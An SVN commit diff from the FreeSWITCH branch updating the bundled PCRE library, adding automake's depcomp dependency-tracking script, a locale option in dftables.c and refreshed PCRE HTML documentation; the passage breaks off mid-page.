+# parameterize here, but still list the modes in the big case below,
+# to make depend.m4 easier to write.  Note that we *cannot* use a case
+# here, because this file can only contain one case statement.
+if test "$depmode" = hp; then
+  # HP compiler uses -M and no extra arg.
+  gccflag=-M
+  depmode=gcc
+fi
+
+if test "$depmode" = dashXmstdout; then
+   # This is just like dashmstdout with a different argument.
+   dashmflag=-xM
+   depmode=dashmstdout
+fi
+
+case "$depmode" in
+gcc3)
+## gcc 3 implements dependency tracking that does exactly what
+## we want.  Yay!  Note: for some reason libtool 1.4 doesn't like
+## it if -MD -MP comes after the -MF stuff.  Hmm.
+## Unfortunately, FreeBSD c89 acceptance of flags depends upon
+## the command line argument order; so add the flags where they
+## appear in depend2.am.  Note that the slowdown incurred here
+## affects only configure: in makefiles, %FASTDEP% shortcuts this.
+  for arg
+  do
+    case $arg in
+    -c) set fnord "$@" -MT "$object" -MD -MP -MF "$tmpdepfile" "$arg" ;;
+    *)  set fnord "$@" "$arg" ;;
+    esac
+    shift # fnord
+    shift # $arg
+  done
+  "$@"
+  stat=$?
+  if test $stat -eq 0; then :
+  else
+    rm -f "$tmpdepfile"
+    exit $stat
+  fi
+  mv "$tmpdepfile" "$depfile"
+  ;;
+
+gcc)
+## There are various ways to get dependency output from gcc.  Here's
+## why we pick this rather obscure method:
+## - Don't want to use -MD because we'd like the dependencies to end
+##   up in a subdir.  Having to rename by hand is ugly.
+##   (We might end up doing this anyway to support other compilers.)
+## - The DEPENDENCIES_OUTPUT environment variable makes gcc act like
+##   -MM, not -M (despite what the docs say).
+## - Using -M directly means running the compiler twice (even worse
+##   than renaming).
+  if test -z "$gccflag"; then
+    gccflag=-MD,
+  fi
+  "$@" -Wp,"$gccflag$tmpdepfile"
+  stat=$?
+  if test $stat -eq 0; then :
+  else
+    rm -f "$tmpdepfile"
+    exit $stat
+  fi
+  rm -f "$depfile"
+  echo "$object : \\" > "$depfile"
+  alpha=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
+## The second -e expression handles DOS-style file names with drive letters.
+  sed -e 's/^[^:]*: / /' \
+      -e 's/^['$alpha']:\/[^:]*: / /' < "$tmpdepfile" >> "$depfile"
+## This next piece of magic avoids the `deleted header file' problem.
+## The problem is that when a header file which appears in a .P file
+## is deleted, the dependency causes make to die (because there is
+## typically no way to rebuild the header).  We avoid this by adding
+## dummy dependencies for each header file.  Too bad gcc doesn't do
+## this for us directly.
+  tr ' ' '
+' < "$tmpdepfile" |
+## Some versions of gcc put a space before the `:'.  On the theory
+## that the space means something, we add a space to the output as
+## well.
+## Some versions of the HPUX 10.20 sed can't process this invocation
+## correctly.  Breaking it into two sed invocations is a workaround.
+    sed -e 's/^\\$//' -e '/^$/d' -e '/:$/d' | sed -e 's/$/ :/' >> "$depfile"
+  rm -f "$tmpdepfile"
+  ;;
+
+hp)
+  # This case exists only to let depend.m4 do its work.  It works by
+  # looking at the text of this script.  This case will never be run,
+  # since it is checked for above.
+  exit 1
+  ;;
+
+sgi)
+  if test "$libtool" = yes; then
+    "$@" "-Wp,-MDupdate,$tmpdepfile"
+  else
+    "$@" -MDupdate "$tmpdepfile"
+  fi
+  stat=$?
+  if test $stat -eq 0; then :
+  else
+    rm -f "$tmpdepfile"
+    exit $stat
+  fi
+  rm -f "$depfile"
+
+  if test -f "$tmpdepfile"; then  # yes, the sourcefile depend on other files
+    echo "$object : \\" > "$depfile"
+
+    # Clip off the initial element (the dependent).  Don't try to be
+    # clever and replace this with sed code, as IRIX sed won't handle
+    # lines with more than a fixed number of characters (4096 in
+    # IRIX 6.2 sed, 8192 in IRIX 6.5).  We also remove comment lines;
+    # the IRIX cc adds comments like `#:fec' to the end of the
+    # dependency line.
+    tr ' ' '
+' < "$tmpdepfile" \
+    | sed -e 's/^.*\.o://' -e 's/#.*$//' -e '/^$/ d' | \
+    tr '
+' ' ' >> $depfile
+    echo >> $depfile
+
+    # The second pass generates a dummy entry for each header file.
+    tr ' ' '
+' < "$tmpdepfile" \
+   | sed -e 's/^.*\.o://' -e 's/#.*$//' -e '/^$/ d' -e 's/$/:/' \
+   >> $depfile
+  else
+    # The sourcefile does not contain any dependencies, so just
+    # store a dummy comment line, to avoid errors with the Makefile
+    # "include basename.Plo" scheme.
+    echo "#dummy" > "$depfile"
+  fi
+  rm -f "$tmpdepfile"
+  ;;
+
+aix)
+  # The C for AIX Compiler uses -M and outputs the dependencies
+  # in a .u file.  In older versions, this file always lives in the
+  # current directory.  Also, the AIX compiler puts `$object:' at the
+  # start of each line; $object doesn't have directory information.
+  # Version 6 uses the directory in both cases.
+  dir=`echo "$object" | sed -e 's|/[^/]*$|/|'`
+  test "x$dir" = "x$object" && dir=
+  base=`echo "$object" | sed -e 's|^.*/||' -e 's/\.o$//' -e 's/\.lo$//'`
+  if test "$libtool" = yes; then
+    tmpdepfile1=$dir$base.u
+    tmpdepfile2=$base.u
+    tmpdepfile3=$dir.libs/$base.u
+    "$@" -Wc,-M
+  else
+    tmpdepfile1=$dir$base.u
+    tmpdepfile2=$dir$base.u
+    tmpdepfile3=$dir$base.u
+    "$@" -M
+  fi
+  stat=$?
+
+  if test $stat -eq 0; then :
+  else
+    rm -f "$tmpdepfile1" "$tmpdepfile2" "$tmpdepfile3"
+    exit $stat
+  fi
+
+  for tmpdepfile in "$tmpdepfile1" "$tmpdepfile2" "$tmpdepfile3"
+  do
+    test -f "$tmpdepfile" && break
+  done
+  if test -f "$tmpdepfile"; then
+    # Each line is of the form `foo.o: dependent.h'.
+    # Do two passes, one to just change these to
+    # `$object: dependent.h' and one to simply `dependent.h:'.
+    sed -e "s,^.*\.[a-z]*:,$object:," < "$tmpdepfile" > "$depfile"
+    # That's a tab and a space in the [].
+    sed -e 's,^.*\.[a-z]*:[	 ]*,,' -e 's,$,:,' < "$tmpdepfile" >> "$depfile"
+  else
+    # The sourcefile does not contain any dependencies, so just
+    # store a dummy comment line, to avoid errors with the Makefile
+    # "include basename.Plo" scheme.
+    echo "#dummy" > "$depfile"
+  fi
+  rm -f "$tmpdepfile"
+  ;;
+
+icc)
+  # Intel's C compiler understands `-MD -MF file'.  However on
+  #    icc -MD -MF foo.d -c -o sub/foo.o sub/foo.c
+  # ICC 7.0 will fill foo.d with something like
+  #    foo.o: sub/foo.c
+  #    foo.o: sub/foo.h
+  # which is wrong.  We want:
+  #    sub/foo.o: sub/foo.c
+  #    sub/foo.o: sub/foo.h
+  #    sub/foo.c:
+  #    sub/foo.h:
+  # ICC 7.1 will output
+  #    foo.o: sub/foo.c sub/foo.h
+  # and will wrap long lines using \ :
+  #    foo.o: sub/foo.c ... \
+  #     sub/foo.h ... \
+  #     ...
+
+  "$@" -MD -MF "$tmpdepfile"
+  stat=$?
+  if test $stat -eq 0; then :
+  else
+    rm -f "$tmpdepfile"
+    exit $stat
+  fi
+  rm -f "$depfile"
+  # Each line is of the form `foo.o: dependent.h',
+  # or `foo.o: dep1.h dep2.h \', or ` dep3.h dep4.h \'.
+  # Do two passes, one to just change these to
+  # `$object: dependent.h' and one to simply `dependent.h:'.
+  sed "s,^[^:]*:,$object :," < "$tmpdepfile" > "$depfile"
+  # Some versions of the HPUX 10.20 sed can't process this invocation
+  # correctly.  Breaking it into two sed invocations is a workaround.
+  sed 's,^[^:]*: \(.*\)$,\1,;s/^\\$//;/^$/d;/:$/d' < "$tmpdepfile" |
+    sed -e 's/$/ :/' >> "$depfile"
+  rm -f "$tmpdepfile"
+  ;;
+
+hp2)
+  # The "hp" stanza above does not work with aCC (C++) and HP's ia64
+  # compilers, which have integrated preprocessors.  The correct option
+  # to use with these is +Maked; it writes dependencies to a file named
+  # 'foo.d', which lands next to the object file, wherever that
+  # happens to be.
+  # Much of this is similar to the tru64 case; see comments there.
+  dir=`echo "$object" | sed -e 's|/[^/]*$|/|'`
+  test "x$dir" = "x$object" && dir=
+  base=`echo "$object" | sed -e 's|^.*/||' -e 's/\.o$//' -e 's/\.lo$//'`
+  if test "$libtool" = yes; then
+    tmpdepfile1=$dir$base.d
+    tmpdepfile2=$dir.libs/$base.d
+    "$@" -Wc,+Maked
+  else
+    tmpdepfile1=$dir$base.d
+    tmpdepfile2=$dir$base.d
+    "$@" +Maked
+  fi
+  stat=$?
+  if test $stat -eq 0; then :
+  else
+     rm -f "$tmpdepfile1" "$tmpdepfile2"
+     exit $stat
+  fi
+
+  for tmpdepfile in "$tmpdepfile1" "$tmpdepfile2"
+  do
+    test -f "$tmpdepfile" && break
+  done
+  if test -f "$tmpdepfile"; then
+    sed -e "s,^.*\.[a-z]*:,$object:," "$tmpdepfile" > "$depfile"
+    # Add `dependent.h:' lines.
+    sed -ne '2,${; s/^ *//; s/ \\*$//; s/$/:/; p;}' "$tmpdepfile" >> "$depfile"
+  else
+    echo "#dummy" > "$depfile"
+  fi
+  rm -f "$tmpdepfile" "$tmpdepfile2"
+  ;;
+
+tru64)
+   # The Tru64 compiler uses -MD to generate dependencies as a side
+   # effect.  `cc -MD -o foo.o ...' puts the dependencies into `foo.o.d'.
+   # At least on Alpha/Redhat 6.1, Compaq CCC V6.2-504 seems to put
+   # dependencies in `foo.d' instead, so we check for that too.
+   # Subdirectories are respected.
+   dir=`echo "$object" | sed -e 's|/[^/]*$|/|'`
+   test "x$dir" = "x$object" && dir=
+   base=`echo "$object" | sed -e 's|^.*/||' -e 's/\.o$//' -e 's/\.lo$//'`
+
+   if test "$libtool" = yes; then
+      # With Tru64 cc, shared objects can also be used to make a
+      # static library.  This mechanism is used in libtool 1.4 series to
+      # handle both shared and static libraries in a single compilation.
+      # With libtool 1.4, dependencies were output in $dir.libs/$base.lo.d.
+      #
+      # With libtool 1.5 this exception was removed, and libtool now
+      # generates 2 separate objects for the 2 libraries.  These two
+      # compilations output dependencies in $dir.libs/$base.o.d and
+      # in $dir$base.o.d.  We have to check for both files, because
+      # one of the two compilations can be disabled.  We should prefer
+      # $dir$base.o.d over $dir.libs/$base.o.d because the latter is
+      # automatically cleaned when .libs/ is deleted, while ignoring
+      # the former would cause a distcleancheck panic.
+      tmpdepfile1=$dir.libs/$base.lo.d   # libtool 1.4
+      tmpdepfile2=$dir$base.o.d          # libtool 1.5
+      tmpdepfile3=$dir.libs/$base.o.d    # libtool 1.5
+      tmpdepfile4=$dir.libs/$base.d      # Compaq CCC V6.2-504
+      "$@" -Wc,-MD
+   else
+      tmpdepfile1=$dir$base.o.d
+      tmpdepfile2=$dir$base.d
+      tmpdepfile3=$dir$base.d
+      tmpdepfile4=$dir$base.d
+      "$@" -MD
+   fi
+
+   stat=$?
+   if test $stat -eq 0; then :
+   else
+      rm -f "$tmpdepfile1" "$tmpdepfile2" "$tmpdepfile3" "$tmpdepfile4"
+      exit $stat
+   fi
+
+   for tmpdepfile in "$tmpdepfile1" "$tmpdepfile2" "$tmpdepfile3" "$tmpdepfile4"
+   do
+     test -f "$tmpdepfile" && break
+   done
+   if test -f "$tmpdepfile"; then
+      sed -e "s,^.*\.[a-z]*:,$object:," < "$tmpdepfile" > "$depfile"
+      # That's a tab and a space in the [].
+      sed -e 's,^.*\.[a-z]*:[	 ]*,,' -e 's,$,:,' < "$tmpdepfile" >> "$depfile"
+   else
+      echo "#dummy" > "$depfile"
+   fi
+   rm -f "$tmpdepfile"
+   ;;
+
+#nosideeffect)
+  # This comment above is used by automake to tell side-effect
+  # dependency tracking mechanisms from slower ones.
+
+dashmstdout)
+  # Important note: in order to support this mode, a compiler *must*
+  # always write the preprocessed file to stdout, regardless of -o.
+  "$@" || exit $?
+
+  # Remove the call to Libtool.
+  if test "$libtool" = yes; then
+    while test $1 != '--mode=compile'; do
+      shift
+    done
+    shift
+  fi
+
+  # Remove `-o $object'.
+  IFS=" "
+  for arg
+  do
+    case $arg in
+    -o)
+      shift
+      ;;
+    $object)
+      shift
+      ;;
+    *)
+      set fnord "$@" "$arg"
+      shift # fnord
+      shift # $arg
+      ;;
+    esac
+  done
+
+  test -z "$dashmflag" && dashmflag=-M
+  # Require at least two characters before searching for `:'
+  # in the target name.  This is to cope with DOS-style filenames:
+  # a dependency such as `c:/foo/bar' could be seen as target `c' otherwise.
+  "$@" $dashmflag |
+    sed 's:^[  ]*[^: ][^:][^:]*\:[    ]*:'"$object"'\: :' > "$tmpdepfile"
+  rm -f "$depfile"
+  cat < "$tmpdepfile" > "$depfile"
+  tr ' ' '
+' < "$tmpdepfile" | \
+## Some versions of the HPUX 10.20 sed can't process this invocation
+## correctly.  Breaking it into two sed invocations is a workaround.
+    sed -e 's/^\\$//' -e '/^$/d' -e '/:$/d' | sed -e 's/$/ :/' >> "$depfile"
+  rm -f "$tmpdepfile"
+  ;;
+
+dashXmstdout)
+  # This case only exists to satisfy depend.m4.  It is never actually
+  # run, as this mode is specially recognized in the preamble.
+  exit 1
+  ;;
+
+makedepend)
+  "$@" || exit $?
+  # Remove any Libtool call
+  if test "$libtool" = yes; then
+    while test $1 != '--mode=compile'; do
+      shift
+    done
+    shift
+  fi
+  # X makedepend
+  shift
+  cleared=no
+  for arg in "$@"; do
+    case $cleared in
+    no)
+      set ""; shift
+      cleared=yes ;;
+    esac
+    case "$arg" in
+    -D*|-I*)
+      set fnord "$@" "$arg"; shift ;;
+    # Strip any option that makedepend may not understand.  Remove
+    # the object too, otherwise makedepend will parse it as a source file.
+    -*|$object)
+      ;;
+    *)
+      set fnord "$@" "$arg"; shift ;;
+    esac
+  done
+  obj_suffix="`echo $object | sed 's/^.*\././'`"
+  touch "$tmpdepfile"
+  ${MAKEDEPEND-makedepend} -o"$obj_suffix" -f"$tmpdepfile" "$@"
+  rm -f "$depfile"
+  cat < "$tmpdepfile" > "$depfile"
+  sed '1,2d' "$tmpdepfile" | tr ' ' '
+' | \
+## Some versions of the HPUX 10.20 sed can't process this invocation
+## correctly.  Breaking it into two sed invocations is a workaround.
+    sed -e 's/^\\$//' -e '/^$/d' -e '/:$/d' | sed -e 's/$/ :/' >> "$depfile"
+  rm -f "$tmpdepfile" "$tmpdepfile".bak
+  ;;
+
+cpp)
+  # Important note: in order to support this mode, a compiler *must*
+  # always write the preprocessed file to stdout.
+  "$@" || exit $?
+
+  # Remove the call to Libtool.
+  if test "$libtool" = yes; then
+    while test $1 != '--mode=compile'; do
+      shift
+    done
+    shift
+  fi
+
+  # Remove `-o $object'.
+  IFS=" "
+  for arg
+  do
+    case $arg in
+    -o)
+      shift
+      ;;
+    $object)
+      shift
+      ;;
+    *)
+      set fnord "$@" "$arg"
+      shift # fnord
+      shift # $arg
+      ;;
+    esac
+  done
+
+  "$@" -E |
+    sed -n -e '/^# [0-9][0-9]* "\([^"]*\)".*/ s:: \1 \\:p' \
+       -e '/^#line [0-9][0-9]* "\([^"]*\)".*/ s:: \1 \\:p' |
+    sed '$ s: \\$::' > "$tmpdepfile"
+  rm -f "$depfile"
+  echo "$object : \\" > "$depfile"
+  cat < "$tmpdepfile" >> "$depfile"
+  sed < "$tmpdepfile" '/^$/d;s/^ //;s/ \\$//;s/$/ :/' >> "$depfile"
+  rm -f "$tmpdepfile"
+  ;;
+
+msvisualcpp)
+  # Important note: in order to support this mode, a compiler *must*
+  # always write the preprocessed file to stdout, regardless of -o,
+  # because we must use -o when running libtool.
+  "$@" || exit $?
+  IFS=" "
+  for arg
+  do
+    case "$arg" in
+    "-Gm"|"/Gm"|"-Gi"|"/Gi"|"-ZI"|"/ZI")
+	set fnord "$@"
+	shift
+	shift
+	;;
+    *)
+	set fnord "$@" "$arg"
+	shift
+	shift
+	;;
+    esac
+  done
+  "$@" -E |
+  sed -n '/^#line [0-9][0-9]* "\([^"]*\)"/ s::echo "`cygpath -u \\"\1\\"`":p' | sort | uniq > "$tmpdepfile"
+  rm -f "$depfile"
+  echo "$object : \\" > "$depfile"
+  . "$tmpdepfile" | sed 's% %\\ %g' | sed -n '/^\(.*\)$/ s::	\1 \\:p' >> "$depfile"
+  echo "	" >> "$depfile"
+  . "$tmpdepfile" | sed 's% %\\ %g' | sed -n '/^\(.*\)$/ s::\1\::p' >> "$depfile"
+  rm -f "$tmpdepfile"
+  ;;
+
+none)
+  exec "$@"
+  ;;
+
+*)
+  echo "Unknown depmode $depmode" 1>&2
+  exit 1
+  ;;
+esac
+
+exit 0
+
+# Local Variables:
+# mode: shell-script
+# sh-indentation: 2
+# eval: (add-hook 'write-file-hooks 'time-stamp)
+# time-stamp-start: "scriptversion="
+# time-stamp-format: "%:y-%02m-%02d.%02H"
+# time-stamp-end: "$"
+# End:

Modified: freeswitch/branches/seven/libs/pcre/dftables.c (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/dftables.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/dftables.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -6,7 +6,7 @@
 and semantics are as close as possible to those of the Perl 5 language.
 
                        Written by Philip Hazel
-           Copyright (c) 1997-2006 University of Cambridge
+           Copyright (c) 1997-2008 University of Cambridge
 
 -----------------------------------------------------------------------------
 Redistribution and use in source and binary forms, with or without
@@ -38,14 +38,19 @@
 */
 
 
-/* This is a freestanding support program to generate a file containing default
-character tables for PCRE. The tables are built according to the default C
+/* This is a freestanding support program to generate a file containing
+character tables for PCRE. The tables are built according to the current
 locale. Now that pcre_maketables is a function visible to the outside world, we
 make use of its code from here in order to be consistent. */
 
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
 #include <ctype.h>
 #include <stdio.h>
 #include <string.h>
+#include <locale.h>
 
 #include "pcre_internal.h"
 
@@ -55,38 +60,60 @@
 
 int main(int argc, char **argv)
 {
-int i;
 FILE *f;
-const unsigned char *tables = pcre_maketables();
-const unsigned char *base_of_tables = tables;
+int i = 1;
+const unsigned char *tables;
+const unsigned char *base_of_tables;
 
-if (argc != 2)
+/* By default, the default C locale is used rather than what the building user
+happens to have set. However, if the -L option is given, set the locale from
+the LC_xxx environment variables. */
+
+if (argc > 1 && strcmp(argv[1], "-L") == 0)
   {
+  setlocale(LC_ALL, "");        /* Set from environment variables */
+  i++;
+  }
+
+if (argc < i + 1)
+  {
   fprintf(stderr, "dftables: one filename argument is required\n");
   return 1;
   }
 
-f = fopen(argv[1], "wb");
+tables = pcre_maketables();
+base_of_tables = tables;
+
+f = fopen(argv[i], "wb");
 if (f == NULL)
   {
   fprintf(stderr, "dftables: failed to open %s for writing\n", argv[1]);
   return 1;
   }
 
-/* There are two fprintf() calls here, because gcc in pedantic mode complains
-about the very long string otherwise. */
+/* There are several fprintf() calls here, because gcc in pedantic mode
+complains about the very long string otherwise. */
 
 fprintf(f,
   "/*************************************************\n"
   "*      Perl-Compatible Regular Expressions       *\n"
   "*************************************************/\n\n"
-  "/* This file is automatically written by the dftables auxiliary \n"
-  "program. If you edit it by hand, you might like to edit the Makefile to \n"
-  "prevent its ever being regenerated.\n\n");
+  "/* This file was automatically written by the dftables auxiliary\n"
+  "program. It contains character tables that are used when no external\n"
+  "tables are passed to PCRE by the application that calls it. The tables\n"
+  "are used only for characters whose code values are less than 256.\n\n");
 fprintf(f,
-  "This file contains the default tables for characters with codes less than\n"
-  "128 (ASCII characters). These tables are used when no external tables are\n"
-  "passed to PCRE. */\n\n"
+  "The following #includes are present because without them gcc 4.x may remove\n"
+  "the array definition from the final binary if PCRE is built into a static\n"
+  "library and dead code stripping is activated. This leads to link errors.\n"
+  "Pulling in the header ensures that the array gets flagged as \"someone\n"
+  "outside this compilation unit might reference this\" and so it will always\n"
+  "be supplied to the linker. */\n\n"
+  "#ifdef HAVE_CONFIG_H\n"
+  "#include \"config.h\"\n"
+  "#endif\n\n"
+  "#include \"pcre_internal.h\"\n\n");
+fprintf(f,
   "const unsigned char _pcre_default_tables[] = {\n\n"
   "/* This table is a lower casing table. */\n\n");
 
@@ -162,7 +189,7 @@
   else fprintf(f, "%3d-", i-8);
 if (isprint(i-1)) fprintf(f, " %c ", i-1);
   else fprintf(f, "%3d", i-1);
-fprintf(f, " */\n\n/* End of chartables.c */\n");
+fprintf(f, " */\n\n/* End of pcre_chartables.c */\n");
 
 fclose(f);
 free((void *)base_of_tables);

Modified: freeswitch/branches/seven/libs/pcre/doc/html/index.html (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/html/index.html	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/html/index.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,4 +1,10 @@
 <html>
+<!-- This is a manually maintained file that is the root of the HTML version of
+     the PCRE documentation. When the HTML documents are built from the man
+     page versions, the entire doc/html directory is emptied, this file is then
+     copied into doc/html/index.html, and the remaining files therein are
+     created by the 132html script.
+-->
 <head>
 <title>PCRE specification</title>
 </head>
@@ -12,6 +18,9 @@
 <tr><td><a href="pcre.html">pcre</a></td>
     <td>&nbsp;&nbsp;Introductory page</td></tr>
 
+<tr><td><a href="pcre-config.html">pcre-config</a></td>
+    <td>&nbsp;&nbsp;Information about the installation configuration</td></tr>
+
 <tr><td><a href="pcreapi.html">pcreapi</a></td>
     <td>&nbsp;&nbsp;PCRE's native API</td></tr>
 
@@ -54,6 +63,9 @@
 <tr><td><a href="pcrestack.html">pcrestack</a></td>
     <td>&nbsp;&nbsp;Discussion of PCRE's stack usage</td></tr>
 
+<tr><td><a href="pcresyntax.html">pcresyntax</a></td>
+    <td>&nbsp;&nbsp;Syntax quick-reference summary</td></tr>
+
 <tr><td><a href="pcretest.html">pcretest</a></td>
     <td>&nbsp;&nbsp;The <b>pcretest</b> command for testing PCRE</td></tr>
 </table>

Copied: freeswitch/branches/seven/libs/pcre/doc/html/pcre-config.html (from rev 14471, freeswitch/trunk/libs/pcre/doc/html/pcre-config.html) (0 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/html/pcre-config.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/pcre/doc/html/pcre-config.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,88 @@
+<html>
+<head>
+<title>pcre-config specification</title>
+</head>
+<body bgcolor="#FFFFFF" text="#00005A" link="#0066FF" alink="#3399FF" vlink="#2222BB">
+<h1>pcre-config man page</h1>
+<p>
+Return to the <a href="index.html">PCRE index page</a>.
+</p>
+<p>
+This page is part of the PCRE HTML documentation. It was generated automatically
+from the original man page. If there is any nonsense in it, please consult the
+man page, in case the conversion went wrong.
+<br>
+<ul>
+<li><a name="TOC1" href="#SEC1">SYNOPSIS</a>
+<li><a name="TOC2" href="#SEC2">DESCRIPTION</a>
+<li><a name="TOC3" href="#SEC3">OPTIONS</a>
+<li><a name="TOC4" href="#SEC4">SEE ALSO</a>
+<li><a name="TOC5" href="#SEC5">AUTHOR</a>
+<li><a name="TOC6" href="#SEC6">REVISION</a>
+</ul>
+<br><a name="SEC1" href="#TOC1">SYNOPSIS</a><br>
+<P>
+<b>pcre-config  [--prefix] [--exec-prefix] [--version] [--libs]</b>
+<b>[--libs-posix] [--cflags] [--cflags-posix]</b>
+</P>
+<br><a name="SEC2" href="#TOC1">DESCRIPTION</a><br>
+<P>
+<b>pcre-config</b> returns the configuration of the installed PCRE
+libraries and the options required to compile a program to use them.
+</P>
+<br><a name="SEC3" href="#TOC1">OPTIONS</a><br>
+<P>
+<b>--prefix</b>
+Writes the directory prefix used in the PCRE installation for architecture
+independent files (<i>/usr</i> on many systems, <i>/usr/local</i> on some
+systems) to the standard output.
+</P>
+<P>
+<b>--exec-prefix</b>
+Writes the directory prefix used in the PCRE installation for architecture
+dependent files (normally the same as <b>--prefix</b>) to the standard output.
+</P>
+<P>
+<b>--version</b>
+Writes the version number of the installed PCRE libraries to the standard
+output.
+</P>
+<P>
+<b>--libs</b>
+Writes to the standard output the command line options required to link
+with PCRE (<b>-lpcre</b> on many systems).
+</P>
+<P>
+<b>--libs-posix</b>
+Writes to the standard output the command line options required to link with
+the PCRE posix emulation library (<b>-lpcreposix</b> <b>-lpcre</b> on many
+systems).
+</P>
+<P>
+<b>--cflags</b>
+Writes to the standard output the command line options required to compile
+files that use PCRE (this may include some <b>-I</b> options, but is blank on
+many systems).
+</P>
+<P>
+<b>--cflags-posix</b>
+Writes to the standard output the command line options required to compile
+files that use the PCRE posix emulation library (this may include some <b>-I</b>
+options, but is blank on many systems).
+</P>
+<br><a name="SEC4" href="#TOC1">SEE ALSO</a><br>
+<P>
+<b>pcre(3)</b>
+</P>
+<br><a name="SEC5" href="#TOC1">AUTHOR</a><br>
+<P>
+This manual page was originally written by Mark Baker for the Debian GNU/Linux
+system. It has been slightly revised as a generic PCRE man page.
+</P>
+<br><a name="SEC6" href="#TOC1">REVISION</a><br>
+<P>
+Last updated: 18 April 2007
+<br>
+<p>
+Return to the <a href="index.html">PCRE index page</a>.
+</p>

Modified: freeswitch/branches/seven/libs/pcre/doc/html/pcre.html (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/html/pcre.html	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/html/pcre.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -18,18 +18,26 @@
 <li><a name="TOC3" href="#SEC3">LIMITATIONS</a>
 <li><a name="TOC4" href="#SEC4">UTF-8 AND UNICODE PROPERTY SUPPORT</a>
 <li><a name="TOC5" href="#SEC5">AUTHOR</a>
+<li><a name="TOC6" href="#SEC6">REVISION</a>
 </ul>
 <br><a name="SEC1" href="#TOC1">INTRODUCTION</a><br>
 <P>
 The PCRE library is a set of functions that implement regular expression
 pattern matching using the same syntax and semantics as Perl, with just a few
-differences. The current implementation of PCRE (release 6.x) corresponds
-approximately with Perl 5.8, including support for UTF-8 encoded strings and
-Unicode general category properties. However, this support has to be explicitly
-enabled; it is not the default.
+differences. Certain features that appeared in Python and PCRE before they
+appeared in Perl are also available using the Python syntax. There is also some
+support for certain .NET and Oniguruma syntax items, and there is an option for
+requesting some minor changes that give better JavaScript compatibility.
 </P>
 <P>
-In addition to the Perl-compatible matching function, PCRE also contains an
+The current implementation of PCRE (release 7.x) corresponds approximately with
+Perl 5.10, including support for UTF-8 encoded strings and Unicode general
+category properties. However, UTF-8 and Unicode support has to be explicitly
+enabled; it is not the default. The Unicode tables correspond to Unicode
+release 5.1.
+</P>
+<P>
+In addition to the Perl-compatible matching function, PCRE contains an
 alternative matching function that matches the same compiled patterns in a
 different way. In certain circumstances, the alternative function has some
 advantages. For a discussion of the two matching algorithms, see the
@@ -52,7 +60,9 @@
 <a href="pcrepattern.html"><b>pcrepattern</b></a>
 and
 <a href="pcrecompat.html"><b>pcrecompat</b></a>
-pages.
+pages. There is a syntax summary in the
+<a href="pcresyntax.html"><b>pcresyntax</b></a>
+page.
 </P>
 <P>
 Some features of PCRE can be included, excluded, or changed when the library is
@@ -82,6 +92,7 @@
 follows:
 <pre>
   pcre              this document
+  pcre-config       show PCRE installation configuration information
   pcreapi           details of PCRE's native C API
   pcrebuild         options for building PCRE
   pcrecallout       details of the callout feature
@@ -91,6 +102,7 @@
   pcrematching      discussion of the two matching algorithms
   pcrepartial       details of the partial matching facility
   pcrepattern       syntax and semantics of supported regular expressions
+  pcresyntax        quick syntax reference
   pcreperform       discussion of performance issues
   pcreposix         the POSIX-compatible C API
   pcreprecompile    details of saving and re-using precompiled patterns
@@ -114,21 +126,18 @@
 distribution and the
 <a href="pcrebuild.html"><b>pcrebuild</b></a>
 documentation for details). In these cases the limit is substantially larger.
-However, the speed of execution will be slower.
+However, the speed of execution is slower.
 </P>
 <P>
-All values in repeating quantifiers must be less than 65536. The maximum
-compiled length of subpattern with an explicit repeat count is 30000 bytes. The
-maximum number of capturing subpatterns is 65535.
+All values in repeating quantifiers must be less than 65536.
 </P>
 <P>
-There is no limit to the number of non-capturing subpatterns, but the maximum
-depth of nesting of all kinds of parenthesized subpattern, including capturing
-subpatterns, assertions, and other types of subpattern, is 200.
+There is no limit to the number of parenthesized subpatterns, but there can be
+no more than 65535 capturing subpatterns.
 </P>
 <P>
-The maximum length of name for a named subpattern is 32, and the maximum number
-of named subpatterns is 10000.
+The maximum length of name for a named subpattern is 32 characters, and the
+maximum number of named subpatterns is 10000.
 </P>
 <P>
 The maximum length of a subject string is the largest positive number that an
@@ -151,14 +160,15 @@
 In order process UTF-8 strings, you must build PCRE to include UTF-8 support in
 the code, and, in addition, you must call
 <a href="pcre_compile.html"><b>pcre_compile()</b></a>
-with the PCRE_UTF8 option flag. When you do this, both the pattern and any
-subject strings that are matched against it are treated as UTF-8 strings
-instead of just strings of bytes.
+with the PCRE_UTF8 option flag, or the pattern must start with the sequence
+(*UTF8). When either of these is the case, both the pattern and any subject
+strings that are matched against it are treated as UTF-8 strings instead of
+just strings of bytes.
 </P>
 <P>
 If you compile PCRE with UTF-8 support, but do not use it at run time, the
 library will be a bit bigger, but the additional run time overhead is limited
-to testing the PCRE_UTF8 flag in several places, so should not be very large.
+to testing the PCRE_UTF8 flag occasionally, so should not be very big.
 </P>
 <P>
 If PCRE is built with Unicode character property support (which implies UTF-8
@@ -172,56 +182,95 @@
 \p{L} matches a letter. Its Perl synonym, \p{Letter}, is not supported.
 Furthermore, in Perl, many properties may optionally be prefixed by "Is", for
 compatibility with Perl 5.6. PCRE does not support this.
+<a name="utf8strings"></a></P>
+<br><b>
+Validity of UTF-8 strings
+</b><br>
+<P>
+When you set the PCRE_UTF8 flag, the strings passed as patterns and subjects
+are (by default) checked for validity on entry to the relevant functions. From
+release 7.3 of PCRE, the check is according the rules of RFC 3629, which are
+themselves derived from the Unicode specification. Earlier releases of PCRE
+followed the rules of RFC 2279, which allows the full range of 31-bit values (0
+to 0x7FFFFFFF). The current check allows only values in the range U+0 to
+U+10FFFF, excluding U+D800 to U+DFFF.
 </P>
 <P>
-The following comments apply when PCRE is running in UTF-8 mode:
